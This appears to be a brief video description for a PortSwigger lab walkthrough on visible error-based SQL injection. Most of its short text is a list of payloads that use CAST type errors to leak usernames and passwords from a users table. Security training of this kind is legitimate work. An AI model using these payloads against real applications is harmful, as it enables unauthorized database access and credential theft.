Visible error based SQL injection walkthrough (PortSwigger)

This video is about: Visible error based SQL injection walkthrough (PortSwigger) Payloads: '-- ' AND CAST((SELECT username FROM users) AS int)-- ' AND 1=CAST((SELECT username FROM users) AS int)-- ' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)-- ' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--